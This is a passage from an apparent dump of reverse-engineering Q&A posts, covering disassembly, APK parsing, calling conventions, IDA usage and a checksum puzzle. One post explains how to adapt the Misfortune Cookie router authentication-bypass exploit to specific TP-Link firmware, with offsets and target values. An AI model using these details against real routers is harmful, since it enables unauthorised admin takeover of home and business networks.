    $ objdump -d /software/Windows/PortableInstalled/wxHexEditor/wxHexEditor.exe \n\n/software/Windows/PortableInstalled/wxHexEditor/wxHexEditor.exe:     Dateiformat pei-i386\n\n\nDisassembly of section UPX0:\n\n00401000 <UPX0>:\n  401000:   10 1a                   adc    %bl,(%edx)\n  401002:   71 53                   jno    0x401057\n  401004:   80 67 17 4b             andb   $0x4b,0x17(%edi)\n  401008:   00 3c 3b                add    %bh,(%ebx,%edi,1)\n  40100b:   16                      push   %ss\n  40100c:   00 00                   add    %al,(%eax)\n  40100e:   ec                      in     (%dx),%al\n  40100f:   47                      inc    %edi\n  ....\n
    \n\n

    (wxHexEditor is probably a bad example, as it's UPX-packed, but i have very few windows programs available on my Linux box right now)

    \n" }, { "Id": "12550", "CreationDate": "2016-04-28T09:47:21.417", "Body": "

    Is there any windows API (application program interface) to execute thread on atomic mode?

    \n", "Title": "Is there any windows API to execute thread on atomic mode?", "Tags": "|c++|c|driver|", "Answer": "

    The Interlocked API may be what you are looking for. Or more generally, here is the MSDN topic on synchronization.

    \n" }, { "Id": "12552", "CreationDate": "2016-04-28T18:18:55.500", "Body": "

    I am hoping to get the contents of the .text section, of a Microsoft PE file using a linux command. When I use

    \n\n
    objdump -sj .text filename.exe\n
    \n\n

    the output consists of the offset, in hexadecimal format, on the far left, followed by the content, in hexadecimal format, in the middle and a mixture of dots and ASCII characters on the right. I don't know if the dots represent unprintable characters.

    \n\n

    Is there a way to adjust the format of the output? Ideally, I am hoping to get the printable strings without the hexadecimal numbers. I have looked through the objdump man page but could not see a way to do this.

    \n", "Title": "Formatting output of objdump -sj .text filename.exe", "Tags": "|linux|pe|", "Answer": "

    Igor's answer is correct, but a bit short.

    \n\n

    First, get the size and file offset of the .text segment using objdump -h:

    \n\n
    $ objdump -h /path/to/Windows/System32/calc.exe\n....\nIdx Name          Size      VMA               LMA               File off  Algn\n  0 .text         00060cc9  0000000100001000  0000000100001000  00000600  2**4\n                  CONTENTS, ALLOC, LOAD, READONLY, CODE\n  1 .rdata        00010ec4  0000000100062000  0000000100062000  00061400  2**4\n                  CONTENTS, ALLOC, LOAD, READONLY, DATA\n
    \n\n

    Now you know the text section starts at 0x600 and ends at 0x61400.

    \n\n

    Then, use strings and have it print the file offsets:

    \n\n
    $ strings -a -t x -e l  /path/to/Windows/System32/calc.exe\n  620e0 Edit\n  62128 Button\n  62138 SysDateTimePick32\n  62160 ComboBox\n  ...\n
    \n\n

    In this particular file, as you see, there are no strings in the text segment; the first string (Edit) is already in the .rdata section. With most versions of strings, you don't need the -a, and you can select the character encoding with -e, 16 bit little endian in this case. See the manual page for other encodings.

    \n\n

    You can use some of the Linux text utilities to further postprocess the output, but as @JasonGeffner said, superuser.com is a better place to ask about them.

    \n" }, { "Id": "12556", "CreationDate": "2016-04-29T10:05:39.283", "Body": "

    I know you can unpack APKs with apktool and the likes, however we're doing an exercise at uni where we're supposed to get some info like permissions declared and permissions used from some APKs without using tools. Not really sure where to start. I'm guessing I'll need to unzip and apply some public-private signing.

    \n", "Title": "Analyzing an APK without tools", "Tags": "|android|apk|", "Answer": "

    Amazing exercise.

    \n\n

    Here are the steps you can do broadly:

    \n\n
      \n
    1. Unzip the apk file (APK files are compressed zip files)
      2. \n
    2. All the xml files including the AndroidManifest.xml are encoded in a binary format, also better known as AXML
      3. \n
    3. Parse the AXML files by writing your own scripts. See examples AXML Parser in GO and AXML Parser in C
      4. \n
    4. you would find classes.dex file which is a DEX file or better known as Dalvik Executable
      5. \n
    5. The Dalvik opcode might come handy, if you can read the hex-version of the dexfile and write your own script
      6. \n
    6. If you have installed android sdk properly, there is a tool dexdump which comes by default in it
      7. \n

    7. In order to use the tool the following command can help

      \n\n
      $ dexdump -d classes.dex\n000418: 2b02 0c00 0000               |0000: packed-switch v2,0000000c // +0x0c\n00041e: 12f0                         |0003: const/4 v0, #int -1 // #ff\n000420: 0f00                         |0004: return v0\n000422: 1220                         |0005: const/4 v0, #int 2 // #2\n000424: 28fe                         |0006: goto 0004 // -0002\n000426: 1250                         |0007: const/4 v0, #int 5 // #5\n000428: 28fc                         |0008: goto 0004 // -0004\n00042a: 1260                         |0009: const/4 v0, #int 6 // #6\n00042c: 28fa                         |000a: goto 0004 // -0006\n00042e: 0000                         |000b: nop // spacer\n000430: 0001 0300 faff ffff 0500 ... |000c: packed-switch-data (10 units)\n
      8. \n
    \n" }, { "Id": "12558", "CreationDate": "2016-04-29T13:12:58.173", "Body": "

    I wanted to debug an executable but I always receive one of the errors 'last or first chance' exception. The 'last error' label shows me this error : 00000008 (ERROR_NOT_ENOUGH_MEMORY). When I run the executable without any debugger I always have enough memory.

    \n\n

    Ollydbg breaks before I can even debug.\nx64dbg breaks while debugging.

    \n\n

    With ollydbg I have used the 32bit executable of the program.

    \n\n

    The OPc looks like this:

    \n\n
    00007FF6A179B097 | int3                                    |\n00007FF6A179B098 | sub rsp,48                              |\n00007FF6A179B09C | lea rcx,qword ptr ss:[rsp+20]           |\n00007FF6A179B0A1 | call <executable>.7FF6A0C58980          |\n00007FF6A179B0A6 | lea rdx,qword ptr ds:[7FF6A230CE80]     |\n00007FF6A179B0AD | lea rcx,qword ptr ss:[rsp+20]           |\n00007FF6A179B0B2 | call <executable>.7FF6A17CC4EC          |\n00007FF6A179B0B7 | int3                                    | <-\n
    \n\n

    But I guess this isn't any help. We just know that the last call produces this error ?!

    \n\n

    EDIT: I have 12 gb of ram.

    \n\n

    Regards

    \n", "Title": "x64dbg and ollydbg error not enough memory", "Tags": "|ollydbg|debugging|memory|exception|", "Answer": "

    Based on the comments exchanged above, it sounds like the program uses anti-debugger code. You have a few options to deal with it:

    \n\n
      \n
    1. Find and disable (NOP / jump-over / etc.) the anti-debugging code.
      2. \n
    2. Try to hide your debugger (manually or by using a stealthing plugin).
      3. \n
    3. Run your program without a debugger, and then after it's up and running, attach to it with your debugger.
      4. \n
    \n\n

    Option #1 requires the most effort, but is guaranteed to work.

    \n\n

    Option #2 can save time over Option #1, but can involve a lot of trial-and-error.

    \n\n

    Option #3 is the easiest option, IMHO, as long as you don't need to debug your target from its entry point. It assumes that the anti-debugging code only executes at the very beginning of the program, which is typically a safe assumption.

    \n" }, { "Id": "12568", "CreationDate": "2016-05-01T07:29:20.067", "Body": "

    I have a disassembled C binary that I would like to reverse engineer. It is a program that takes an input \"username\" string, and returns a (most-likely) unique 8-digit hex number for identification purposes. It would be really helpful for my understanding if someone could explain what some good general approaches to reverse engineering assembly manually would be or any insights into the functions themselves.

    \n\n

    I used objdump -d to disassemble it. (this is it trimmed). Unfortunately, all I could learn from it by stepping through it with gdb was that the hash seems to be iterated (though I'm hoping it won't be a one-way function).

    \n\n
    08048414 <main>:\n 8048414:   55                      push   %ebp\n 8048415:   89 e5                   mov    %esp,%ebp\n 8048417:   83 e4 f0                and    $0xfffffff0,%esp\n 804841a:   57                      push   %edi\n 804841b:   56                      push   %esi\n 804841c:   53                      push   %ebx\n 804841d:   83 ec 14                sub    $0x14,%esp\n 8048420:   8b 7d 08                mov    0x8(%ebp),%edi\n 8048423:   8b 75 0c                mov    0xc(%ebp),%esi\n 8048426:   83 ff 01                cmp    $0x1,%edi\n 8048429:   7e 27                   jle    8048452 <main+0x3e>\n 804842b:   bb 01 00 00 00          mov    $0x1,%ebx\n 8048430:   8b 04 9e                mov    (%esi,%ebx,4),%eax\n 8048433:   89 04 24                mov    %eax,(%esp)\n 8048436:   e8 8a 00 00 00          call   80484c5 <gencookie>\n 804843b:   89 44 24 04             mov    %eax,0x4(%esp)\n 804843f:   c7 04 24 c4 85 04 08    movl   $0x80485c4,(%esp)\n 8048446:   e8 f1 fe ff ff          call   804833c <printf@plt>\n 804844b:   83 c3 01                add    $0x1,%ebx\n 804844e:   39 df                   cmp    %ebx,%edi\n 8048450:   7f de                   jg     8048430 <main+0x1c>\n 8048452:   b8 00 00 00 00          mov    $0x0,%eax\n 8048457:   83 c4 14                add    $0x14,%esp\n 804845a:   5b                      pop    %ebx\n 804845b:   5e                      pop    %esi\n 804845c:   5f                      pop    %edi\n 804845d:   89 ec                   mov    %ebp,%esp\n 804845f:   5d                      pop    %ebp\n 8048460:   c3                      ret    \n 8048461:   90                      nop\n 8048462:   90                      nop\n 8048463:   90                      nop\n\n08048464 <hash>:\n 8048464:   55                      push   %ebp\n 8048465:   89 e5                   mov    %esp,%ebp\n 8048467:   8b 4d 08                mov    0x8(%ebp),%ecx\n 804846a:   0f b6 11                movzbl (%ecx),%edx\n 804846d:   b8 00 00 00 00          mov    $0x0,%eax\n 8048472:   84 d2                   test   %dl,%dl\n 8048474:   74 13                   je     8048489 <hash+0x25>\n 8048476:   6b c0 67                imul   $0x67,%eax,%eax\n 8048479:   0f be d2                movsbl %dl,%edx\n 804847c:   8d 04 02                lea    (%edx,%eax,1),%eax\n 804847f:   83 c1 01                add    $0x1,%ecx\n 8048482:   0f b6 11                movzbl (%ecx),%edx\n 8048485:   84 d2                   test   %dl,%dl\n 8048487:   75 ed                   jne    8048476 <hash+0x12>\n 8048489:   5d                      pop    %ebp\n 804848a:   c3                      ret    \n\n0804848b <check>:\n 804848b:   55                      push   %ebp\n 804848c:   89 e5                   mov    %esp,%ebp\n 804848e:   8b 45 08                mov    0x8(%ebp),%eax\n 8048491:   89 c2                   mov    %eax,%edx\n 8048493:   c1 ea 1c                shr    $0x1c,%edx\n 8048496:   85 d2                   test   %edx,%edx\n 8048498:   74 24                   je     80484be <check+0x33>\n 804849a:   3c 0a                   cmp    $0xa,%al\n 804849c:   74 20                   je     80484be <check+0x33>\n 804849e:   0f b6 d4                movzbl %ah,%edx\n 80484a1:   83 fa 0a                cmp    $0xa,%edx\n 80484a4:   74 18                   je     80484be <check+0x33>\n 80484a6:   89 c2                   mov    %eax,%edx\n 80484a8:   c1 ea 10                shr    $0x10,%edx\n 80484ab:   80 fa 0a                cmp    $0xa,%dl\n 80484ae:   74 0e                   je     80484be <check+0x33>\n 80484b0:   c1 e8 18                shr    $0x18,%eax\n 80484b3:   83 f8 0a                cmp    $0xa,%eax\n 80484b6:   0f 95 c0                setne  %al\n 80484b9:   0f b6 c0                movzbl %al,%eax\n 80484bc:   eb 05                   jmp    80484c3 <check+0x38>\n 80484be:   b8 00 00 00 00          mov    $0x0,%eax\n 80484c3:   5d                      pop    %ebp\n 80484c4:   c3                      ret    \n\n080484c5 <gencookie>:\n 80484c5:   55                      push   %ebp\n 80484c6:   89 e5                   mov    %esp,%ebp\n 80484c8:   53                      push   %ebx\n 80484c9:   83 ec 14                sub    $0x14,%esp\n 80484cc:   8b 45 08                mov    0x8(%ebp),%eax\n 80484cf:   89 04 24                mov    %eax,(%esp)\n 80484d2:   e8 8d ff ff ff          call   8048464 <hash>\n 80484d7:   89 04 24                mov    %eax,(%esp)\n 80484da:   e8 2d fe ff ff          call   804830c <srand@plt>\n 80484df:   e8 68 fe ff ff          call   804834c <rand@plt>\n 80484e4:   89 c3                   mov    %eax,%ebx\n 80484e6:   89 04 24                mov    %eax,(%esp)\n 80484e9:   e8 9d ff ff ff          call   804848b <check>\n 80484ee:   85 c0                   test   %eax,%eax\n 80484f0:   74 ed                   je     80484df <gencookie+0x1a>\n 80484f2:   89 d8                   mov    %ebx,%eax\n 80484f4:   83 c4 14                add    $0x14,%esp\n 80484f7:   5b                      pop    %ebx\n 80484f8:   5d                      pop    %ebp\n 80484f9:   c3                      ret    \n 80484fa:   90                      nop\n 80484fb:   90                      nop\n 80484fc:   90                      nop\n 80484fd:   90                      nop\n 80484fe:   90                      nop\n 80484ff:   90                      nop\n
    \n\n

    The executable file can be found here.

    \n\n

    Update:

    \n\n

    Using the ultimate disassembler (google) I found the source code (here). I found out that the unique hex digit is created by using rand() seeded with the base-103-encoded ASCII characters of the username. Calls to rand() are repeated until an 8-digit hex number is produced (and some other constraints are met).

    \n\n

    (This update is mostly for reference)

    \n", "Title": "Reverse engineering a disassembled C binary", "Tags": "|binary-analysis|x86|", "Answer": "
    \n

    understanding if someone could explain what some good general\n approaches to reverse engineering assembly manually would be or any\n insights into the functions themselves.

    \n
    \n\n

    Try opening binary EXE file with IDA and set gdb as remote debugger.IDA will analyze binary at first then determines subroutines in the assembly code.

    \n\n

    This is a lot easier and more helpful approach you can think of.Update question with any progress you made and the specific problem you are facing so we can help you better.

    \n" }, { "Id": "12575", "CreationDate": "2016-05-01T18:07:56.780", "Body": "

    Good Evening,

    \n\n

    currently, I am struggling around with a problem of getting the parameters of the wsasend function. The only parameter where found out something is this one:

    \n\n

    mov qword ptr ss:[rsp+60],rsi

    \n\n

    This should be the something with count because it's between ~60 - ~3000 (pausing application ~60, !pausing application ~3000) Not after the functioned was called so this couldn't be the \"bytes send\" parameter.

    \n\n
    mov rsi,qword ptr ss:[rsp+80]\nmov qword ptr ss:[rsp+28],rsi\n
    \n\n

    These 2 lines are one parameter ? I guess because rsi gets a value which is than used one instruction later.

    \n\n

    Maybe someone can give me a hint on how to find the correct parameters.

    \n\n

    Before I have found this function I thought parameters are only passed to a function via push but after some research, I have found out that this is compiler dependend and I find it difficult to find the parameters.

    \n\n

    \"enter

    \n\n
    int WSASend(\n  __in   SOCKET s,\n  __in   LPWSABUF lpBuffers,\n  __in   DWORD dwBufferCount,\n  __out  LPDWORD lpNumberOfBytesSent,\n  __in   DWORD dwFlags,\n  __in   LPWSAOVERLAPPED lpOverlapped,\n  __in   LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine\n);\n
    \n", "Title": "wsasend(disassemblied) function get parameters", "Tags": "|disassembly|functions|", "Answer": "

    See https://msdn.microsoft.com/en-us/library/ms235286.aspx:

    \n\n
    \n

    The arguments are passed in registers RCX, RDX, R8, and R9

    \n
    \n\n

    So, the socket is in rcx, Buffers in rdx (copied from r11), BufferCount in r8 copied from r10, and NumberOfBytesSent in r9 (and stored to rsp+50). The rest of the arguments are pushed on the stack.

    \n\n

    This is not compiler dependent, every compiler that produces calls to windows functions has to adhere to this convention. (It is OS dependent though, the convention for Linux is different)

    \n\n

    If you want to learn more, google for x64 ABI (ABI is for Application Binary Interface).

    \n" }, { "Id": "12587", "CreationDate": "2016-05-03T18:46:10.643", "Body": "

    I'm trying to reverse a bigger structure used in an old game. Obviously I didn't know all fields when I created the structure type, and now I want to edit in some new fields / change pure byte gaps into meaningful fields.

    \n\n

    This, for example, is a structure of a GuiButton which I know by now, but it's just a gap yet:\n\"enter

    \n\n

    I don't find any way to edit the field of the structure. Do I have to completely delete the existing structure and create a new one?\n\"enter

    \n", "Title": "How to edit (insert new fields into) IDA structures?", "Tags": "|ida|hexrays|", "Answer": "

    Position cursor where you want to insert (cannot be at the structure end) and\npress Ctrl+E (see expand command in IDA documentation).

    \n" }, { "Id": "12590", "CreationDate": "2016-05-03T23:14:34.897", "Body": "

    I am working on an exploit over a month now I have a problem and cannot go further.

    \n\n

    here is the link of the exploit:

    \n\n

    https://gist.github.com/doorbash/f454c698f192a0e5d1bf4da9c6869b67

    \n\n

    https://www.exploit-db.com/exploits/39739

    \n\n

    Description:

    \n\n

    Misfortune Cookie is a critical vulnerability that allows an intruder to remotely take over an Internet router and use it to attack home and business networks.With a few magic cookies added to your request you bypass any authentication and browse the configuration interface as admin, from any open port.

    \n\n

    \u200cBy sending Cxxx=yyy cookie to the router web interface yyy will be saved at memory address xxx * 0x28 + Offset.If we find Authentication Enable/Disable boolean address and offset we can add data for this firmware to the exploit's target list and bypass the authentication by sending the right cookie.

    \n\n

    How I analyzed the firmwares:

    \n\n

    The firmware I analyzed at first is TP-Link 8901G V3 3.0.1 Build 100901 Rel.23594. download it here and run binwalk -e V3 3.0.1 Build 100901 Rel.23594 then open the largest file in extracted directory using IDA by selecting mipsb as the cpu architecture and 0x80020000 for base address.

    \n\n

    If you search for Do not need string using Alt+T keys you will find a sb XXXX($gp)\nat the very first lines of the code you realize the li $gp,YYYYY instruction. the authentication address will be located by adding XXXX and YYYYY which in this case will be 0x803E1829

    \n\n

    Now we must discover how Cookie: CNNNN=MMM; alter memory contents:\nif you search for \"soapaction\" using Alt+T you will find this:

    \n\n

    \"\"

    \n\n

    Go to the sub process highlighted by red color.

    \n\n

    \"\"

    \n\n

    Now consider the number 0x6b28 as A = 0x6B28

    \n\n

    Now back and toward up:

    \n\n

    \"\"

    \n\n

    Now go to the top sub process:

    \n\n

    \"\"

    \n\n

    you will find this:

    \n\n

    \"\"

    \n\n

    now B = 0xA44, C = 0x1887C and D = 0x8041877C.

    \n\n

    and MAGIC_NUMBER = 0x16B88 (I don't have any idea why but it works)

    \n\n

    Now OFFSET = A - B + C + D - MAGIC_NUMBER = 0x80420554

    \n\n

    now call info(calc(0x8041877C,0x1887c,0xa44,0x6B28,0x16b88),0x803E1829) or info(0x80420554,0x803E1829) in util.py I attached the output is ,107367749,13 which is the data we need for this firmware in the exploit.

    \n\n

    the process is very similar (and different and also easier in the TP-Link W8961ND V3 120830 download it here

    \n\n

    \"\"

    \n\n
    AuthenticationAddress = 0x803605B4\nA = 0x6B28\nB = 0x0 (move    $a0, $s1)\nC = 0x17E38\nD = 0x804234C8\nMAGIC_NUMBER = 0x16B88\nOFFSET = A-B+C+D-MAGIC_NUMBER = 0x8042B2A0\n
    \n\n

    We call info(0x8042B2A0,0x803605B4) in util.py and output is ,107353414,36 which is tested on real device and works.

    \n\n

    THE PROBLEM IS:

    \n\n

    for TD_W961ND_V3_140305 download it here the firmware has \"Do not need\" and \"soapacation\" texts but IDA cannot find the pointing addresses to these strings.I could not find out why.

    \n\n

    The modifications and bug fixes for this according to here is :

    \n\n
      \n

    1. Add the security mechanism.

      2. \n

    2. Fixed the problem router's time can't synchronize from PC successfully.

      3. \n

    3. Banned accessing the firmware upgrading page from WAN.

      4. \n

    4. Fixed the problem that router failed to upload rom-0(Backup configuration).

      5. \n

    5. Solved the problem that the login interface can't save the password correctly in Chrome and Firefox.

      6. \n

    6. Solved the problem that we can\u2019t visit CPE using \u201cIP:Port\u201d after we set up Virtual Server.

      7. \n

    7. Forbidden access to the device through http://wan/lan ip/ or http://wan/lan ip/xxx.htm.

      8. \n

    8. Fixed other bugs and problems.

      9. \n
    \n\n

    I am not sure if the security mechanism (#1) is what is making this issue or not.

    \n\n

    I also tried to compare 100901, 120830 and 140305 using binwalk entropy:

    \n\n

    binwalk -E -J 120830 140305 100901

    \n\n

    100901:

    \n\n

    \"\"

    \n\n

    120830:

    \n\n

    \"\"

    \n\n

    140305:

    \n\n

    \"\"

    \n\n

    I know somethings wrong with 140305 (unusual wave forms at left) but could not come across any findings.

    \n\n

    Update 1:

    \n\n

    Here is how memory address 0x800D53BC looks like in my IDA:

    \n\n

    \"\"

    \n\n

    Any idea or tip about how to fix this mess?

    \n\n

    \"\"

    \n", "Title": "Multiple vendors Misfortune Cookie Router Authentication Bypass Exploit", "Tags": "|ida|disassembly|firmware|", "Answer": "

    According to TP-LINK the misfortune cookie was fixed only in firmware version TD-W8961ND_V3_150707. So, the TD_W961ND_V3_140305 is also vulnerable.

    \n\n

    Since it is a binary file you may not analyse the code part dealing with the soapaction string, but here is what I found for firmware 140305:

    \n\n

    \"enter

    \n\n

    UPDATE!

    \n\n

    You can find the \"Do not need\" string at 0x801a015a. For some reasons it is mips16 code and was referenced only from the command table as the pswauthen command handler. So, you have to change the code representation to mips16 with alt+g at the start of the handler and then press c.

    \n\n

    \"enter

    \n" }, { "Id": "12592", "CreationDate": "2016-05-04T18:25:23.927", "Body": "

    I am trying to reverse-engineer the protocol used between my Air-conditioner and the wired control unit on my wall. (In order to have my home automation be able to monitor and control the A/C.)

    \n\n

    The electrical interface is simple open-collector bus with either end sending bytes using 100-baud UART timing (very slow, probably to tolerate electrical noise on this un-balanced bus).

    \n\n

    I have captured communication between the two ends, and found that they always send 13-byte packets, of which the last byte seems to be some sort of checksum. I am confident that I can figure out where in the 12-byte payload to find the temperature setpoint, on/off bits, etc. However, I cannot figure out how the checksum is calculated, and if I do not get that right, then I will not be able to inject commands to the A/C unit (other than re-playing known commands, which could work, but would not give me the satisfaction of complete reverse engineering.)

    \n\n

    Below, I have copied the packets that I have captured so far. It is clear that the checksum is not a CRC, since often one bit flip in the data results in only one or a few adjacent bits in the checksum being flipped.

    \n\n

    Studying how the checksum changes as the 8th byte is incremented reveals a clear pattern of differences: -1 +3 -1 -5 -1 +3 -1 -21 -1 +3 -1 -5 -1...\nThe above sequence is part of what is generated by the formula y = (x & 0xAA) - (x & 0x55), so I think that it would somehow form part of the checksum algorithm.

    \n\n

    I have not been able to figure out how overall to mix together the input bytes, though, which is why I ask the expert reverse engineers in this forum. Any observations are welcome, even if not a complete solution.

    \n\n

    The air conditioner is Friedrich M09CJ, and the wall mounted \"thermostat\" DWC1 can interface with a number of other Friedrich air conditioners, so it is a reasonable guess that those would also use the same protocol.

    \n\n
    \n

    The line numbers have been added later and do not belong to the data.

    \n
    \n\n
       1        A8 00 00 00 00 00 09 17 00 00 00 00 9D\n   2        A8 00 00 00 00 00 09 18 00 00 00 00 9C\n   3        A8 00 00 00 00 00 09 19 00 00 00 00 9F\n   4        A8 00 00 00 00 00 09 1A 00 00 00 00 9E\n   5        A8 00 00 00 00 00 09 1B 00 00 00 00 99\n   6        A8 00 00 00 00 00 09 1C 00 00 00 00 98\n   7        A8 00 00 00 00 00 09 1D 00 00 00 00 9B\n   8        A8 00 00 00 00 00 09 1E 00 00 00 00 9A\n   9        A8 00 00 00 00 00 09 1F 00 00 00 00 85\n  10        A8 00 00 00 00 00 09 20 00 00 00 00 84\n  11        A8 00 00 00 00 00 09 20 00 00 40 00 44\n  12        A8 00 00 00 00 00 09 21 00 00 00 00 87\n  13        A8 00 00 00 00 00 09 22 00 00 00 00 86\n  14        A8 00 00 00 00 00 09 23 00 00 00 00 81\n  15        A8 00 00 00 00 00 09 23 00 00 40 00 41\n  16        A8 00 00 00 00 00 09 24 00 00 00 00 80\n  17        A8 01 00 00 00 00 09 23 40 00 80 00 C0\n  18        A8 01 00 00 00 00 09 24 40 00 80 00 C3\n  19        A8 02 00 00 00 00 09 1E 00 00 00 00 84\n  20        A8 02 00 00 00 00 09 20 00 00 00 00 86\n  21        A8 02 00 00 00 04 05 1E 00 00 00 00 84\n  22        A8 02 00 00 00 04 07 1F 00 00 00 00 81\n  23        A8 02 00 00 00 04 09 1F 00 00 00 00 83\n  24        A8 02 00 00 00 04 09 20 00 00 00 00 82\n  25        A8 02 00 00 00 04 0A 20 00 00 00 00 8D\n  26        A8 02 00 00 00 04 0E 1F 00 00 00 00 8E\n  27        A8 02 00 00 00 04 0E 20 00 00 00 00 89\n  28        A8 03 00 00 00 00 09 20 00 00 00 00 81\n  29        A8 03 00 00 00 00 0A 20 00 00 00 00 80\n  30        A8 03 00 00 00 00 0B 20 00 00 00 00 83\n  31        A8 41 00 00 00 00 01 00 40 00 80 00 FF\n  32        A8 41 00 00 00 00 01 1F 40 00 80 00 9C\n  33        A8 42 00 00 00 00 09 1F 00 00 00 00 47\n  34        A8 60 40 00 00 00 09 1F 00 00 00 00 25\n  35        A8 60 40 00 00 00 09 20 00 00 00 00 24\n  36        A8 60 40 00 00 00 09 21 00 00 00 00 27\n  37        A8 60 40 00 00 00 09 22 00 00 00 00 26\n  38        A8 60 40 00 00 00 09 23 00 00 00 00 21\n  39        A8 62 00 00 00 00 09 1F 00 00 00 00 67\n  40        A8 62 00 00 00 00 09 20 00 00 00 00 66\n  41        A8 62 40 00 00 00 09 20 00 00 00 00 26\n  42        A8 62 40 00 00 00 09 21 00 00 00 00 21\n  43        A8 62 40 00 00 04 09 1D 00 00 00 00 21\n  44        A8 62 40 00 00 04 09 1E 00 00 00 00 20\n  45        A8 62 40 00 00 04 09 1F 00 00 00 00 23\n  46        A8 62 40 00 00 04 09 20 00 00 00 00 22\n  47        A8 62 40 00 00 04 09 21 00 00 00 00 2D\n  48        C8 00 00 00 00 00 09 17 00 00 00 00 BD\n  49        C8 00 00 00 00 00 09 18 00 00 00 00 BC\n  50        C8 00 00 00 00 00 09 19 00 00 00 00 BF\n  51        C8 00 00 00 00 00 09 1A 00 00 00 00 BE\n  52        C8 00 00 00 00 00 09 1B 00 00 00 00 B9\n  53        C8 00 00 00 00 00 09 1D 00 00 00 00 BB\n  54        C8 00 00 00 00 00 09 1E 00 00 00 00 BA\n  55        C8 00 00 00 00 00 09 1F 00 00 00 00 A5\n  56        C8 00 00 00 00 00 09 20 00 00 00 00 A4\n  57        C8 00 00 00 00 00 09 21 00 00 00 00 A7\n  58        C8 00 00 00 00 00 09 21 00 00 40 00 67\n  59        C8 00 00 00 00 00 09 22 00 00 00 00 A6\n  60        C8 00 00 00 00 00 09 22 00 00 40 00 66\n  61        C8 02 00 00 00 00 09 21 00 00 00 00 A1\n  62        C8 02 00 00 00 04 09 20 00 00 00 00 A2\n  63        C8 03 00 00 00 00 09 20 00 00 00 00 A1\n  64        C8 03 00 00 00 00 09 21 00 00 00 00 A0\n  65        C8 03 00 00 00 00 09 22 00 00 00 00 A3\n  66        C8 03 00 00 00 00 0A 20 00 00 00 00 A0\n  67        C8 03 00 00 00 00 0A 21 00 00 00 00 A3\n  68        C8 03 00 00 00 00 0A 22 00 00 00 00 A2\n  69        C8 03 00 00 00 00 0C 20 00 00 00 00 A2\n  70        C8 03 00 00 00 00 0C 21 00 00 00 00 AD\n  71        C8 03 00 00 00 00 0D 21 00 00 00 00 AC\n  72        C8 03 00 00 00 00 0E 21 00 00 00 00 AF\n  73        C8 03 00 00 00 00 0F 20 00 00 00 00 AF\n  74        C8 03 00 00 00 00 0F 21 00 00 00 00 AE\n  75        C8 03 00 00 00 04 03 20 00 00 00 00 A7\n  76        C8 03 00 00 00 04 04 20 00 00 00 00 A6\n  77        C8 03 00 00 00 04 05 20 00 00 00 00 A1\n  78        C8 03 00 00 00 04 06 20 00 00 00 00 A0\n  79        C8 03 00 00 00 04 07 20 00 00 00 00 A3\n  80        C8 03 00 00 00 04 08 20 00 00 00 00 A2\n  81        C8 03 00 00 00 04 09 20 00 00 00 00 AD\n  82        C8 03 00 00 00 04 09 21 00 00 00 00 AC\n  83        C8 03 00 00 00 04 0A 20 00 00 00 00 AC\n  84        C8 03 00 00 00 04 0A 22 00 00 00 00 AE\n  85        C8 03 00 00 00 04 0B 20 00 00 00 00 AF\n  86        C8 03 00 00 00 04 0B 22 00 00 00 00 A9\n  87        C8 03 00 00 00 04 0C 20 00 00 00 00 AE\n  88        C8 03 00 00 00 04 0C 22 00 00 00 00 A8\n  89        C8 03 00 00 00 04 0D 20 00 00 00 00 A9\n  90        C8 03 00 00 00 04 0D 22 00 00 00 00 AB\n  91        C8 03 00 00 00 04 0E 20 00 00 00 00 A8\n  92        C8 03 00 00 00 04 0E 22 00 00 00 00 AA\n  93        C8 03 00 00 00 04 0F 20 00 00 00 00 AB\n  94        C8 03 00 00 00 04 0F 21 00 00 00 00 AA\n  95        C8 03 00 00 00 04 0F 22 00 00 00 00 55\n  96        C8 03 80 00 00 00 09 20 00 00 00 00 21\n  97        C8 23 00 00 00 00 09 1F 00 00 00 00 46\n  98        C8 23 00 00 00 00 09 20 00 00 00 00 41\n  99        C8 43 00 00 00 00 09 1F 00 00 00 00 66\n 100        C8 43 00 00 00 00 09 20 00 00 00 00 61\n 101        C8 60 40 00 00 00 09 1B 00 00 00 00 D9\n 102        C8 60 40 00 00 00 09 1C 00 00 00 00 D8\n 103        C8 60 40 00 00 00 09 1D 00 00 00 00 DB\n 104        C8 60 40 00 00 00 09 1E 00 00 00 00 DA\n 105        C8 62 40 00 00 04 09 1E 00 00 00 00 C0\n 106        C8 62 40 00 00 04 09 1F 00 00 00 00 C3\n 107        C8 63 00 00 00 00 09 1F 00 00 00 00 06\n 108        C8 63 00 00 00 00 09 20 00 00 00 00 01\n 109        C8 63 40 00 00 00 09 1F 00 00 00 00 C6\n 110        C8 63 40 00 00 04 09 1F 00 00 00 00 C2\n 111        C9 C4 D0 1F 80 31 00 40 02 00 00 00 3A\n 112        CA 00 00 00 00 00 00 00 00 02 F1 21 8B\n 113        CB 00 00 FF FF 70 00 00 00 00 00 00 6C\n 114        CB 00 00 FF FF 7C 00 00 00 00 00 00 10\n 115        CB 00 00 FF FF 7D 00 00 00 00 00 00 13\n
    \n", "Title": "Reverse engineer checksum algorithm", "Tags": "|encodings|protocol|crc|", "Answer": "

    You seem to have the same air conditioner like the guy who asked this question. Add up bytes 0-11, xor with 0x55 to get byte 12.

    \n\n

    It could help if you stated the brand and model number of your AC unit, that makes it easier for other people who want to do the same thing.

    \n" }, { "Id": "12596", "CreationDate": "2016-05-04T22:54:56.843", "Body": "

    I have this little-endian thumb hex code: 44 79 (79 44) and I want to convert it into an instruction. How do I go about doing so? Compiling a program then decompiling it to get the instruction, is that possible?

    \n", "Title": "How to convert this hex into an instruction?", "Tags": "|ida|", "Answer": "

    The Online Disassembler works well for small sequences of instructions.

    \n\n

    44 79

    \n\n
    .data:00000000  7944    ldrb    r4, [r0, #5]\n
    \n\n

    79 44

    \n\n
    .data:00000000  4479    add     r1, pc\n
    \n" }, { "Id": "12599", "CreationDate": "2016-05-05T01:44:07.233", "Body": "

    I have a function which fetches the Glide screen width and height and passes it to some set-up function (sub_457048).

    \n\n

    However, IDA does not recognize that the Glide API function to retrieve the width obviously returns it:

    \n\n

    \"enter

    \n\n

    This gets interesting when looking into the assembly code:\n\"enter

    \n\n

    I'm not sure how to tell IDA the grSstScreenWidth returns a value into EBX which is then put in EDX: The set-up function looks correct - I never understood that useless mov of EAX into EBX after the height function was called; height stays in EAX, and width is put into EDX:

    \n\n

    \"enter

    \n\n

    Am I wrong here? Is IDA wrong? Or is nobody wrong?

    \n", "Title": "What to do when IDA does not recognize return value?", "Tags": "|ida|hexrays|", "Answer": "

